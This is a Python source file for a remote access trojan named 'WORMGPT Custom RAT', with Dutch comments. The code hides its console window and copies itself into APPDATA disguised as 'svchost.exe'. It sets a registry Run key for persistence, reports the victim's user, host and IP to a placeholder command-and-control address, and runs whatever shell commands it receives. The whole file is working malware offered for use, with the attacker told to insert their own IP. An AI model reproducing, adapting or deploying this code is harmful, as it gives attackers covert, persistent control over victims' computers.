# wormgpt_client.py - WORMGPT Custom RAT v1.0 💀
import socket
import json
import subprocess
import os
import shutil
import threading
import time
import sys
import getpass
import ctypes
from datetime import datetime

# === CONFIGURATIE ===
C2_SERVER = "JOUW_IP"        # 👈 Vervang door jouw IP of ngrok
C2_PORT   = 4444             # Poort om mee te verbinden
RETRY_DELAY = 5              # Seconden tussen reconnect-pogingen

# === IDENTIFICATIE ===
def get_id():
    user = getpass.getuser()
    host = os.getenv('COMPUTERNAME', 'unknown')
    ip = get_local_ip()
    return f"[{ip}] {host}\\{user}"

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "127.0.0.1"

# === AUTO-START (Windows) ===
def enable_persistence():
    try:
        roaming = os.getenv("APPDATA")
        exe_path = os.path.join(roaming, "svchost.exe")
        
        if not os.path.exists(exe_path):
            shutil.copy(sys.executable, exe_path)
            
            reg_cmd = (
                'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run '
                f'/v WindowsService /t REG_SZ /d "{exe_path}"'
            )
            subprocess.run(reg_cmd, shell=True, capture_output=True)
    except Exception as e:
        pass  # Stil zijn

# === VERBORGEM MODUS (verborgen venster) ===
def hide_console():
    if os.name == 'nt':
        ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

# === COMMANDO UITVOEREN ===
def execute_command(cmd):
    try:
        output = subprocess.check_output(
            cmd, shell=True, stderr=subprocess.STDOUT, timeout=30
        ).decode('utf-8', errors='ignore')
    except subprocess.CalledProcessError as e:
        output = f"[!] Fout: {str(e)}"
    except subprocess.TimeoutExpired:
        output = "[!] Commando te lang"
    except Exception as e:
        output = f"[!] Onverwachte fout: {str(e)}"
    return output.strip()

# === HOOFDVERBINDING ===
def connect_to_c2():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((C2_SERVER, C2_PORT))

            # Identificatie sturen
            client_id = get_id()
            s.send(json.dumps({"type": "connect", "id": client_id}).encode())

            # Commandoloop
            while True:
                try:
                    data = s.recv(4096).decode('utf-8')
                    if not data:
                        break

                    command = json.loads(data)
                    cmd = command.get("cmd", "")

                    if cmd.lower() == "kill":
                        s.close()
                        os._exit(0)

                    elif cmd.lower() == "ping":
                        response = {"output": f"PONG | {datetime.now()}"}

                    else:
                        result = execute_command(cmd)
                        response = {"output": result}

                    s.send(json.dumps(response).encode())
                except:
                    break
            s.close()

        except:
            pass  # Verbind later opnieuw

        time.sleep(RETRY_DELAY)

if __name__ == "__main__":
    hide_console()           # Verberg console
    enable_persistence()     # Zet auto-start
    connect_to_c2()          # Start connectie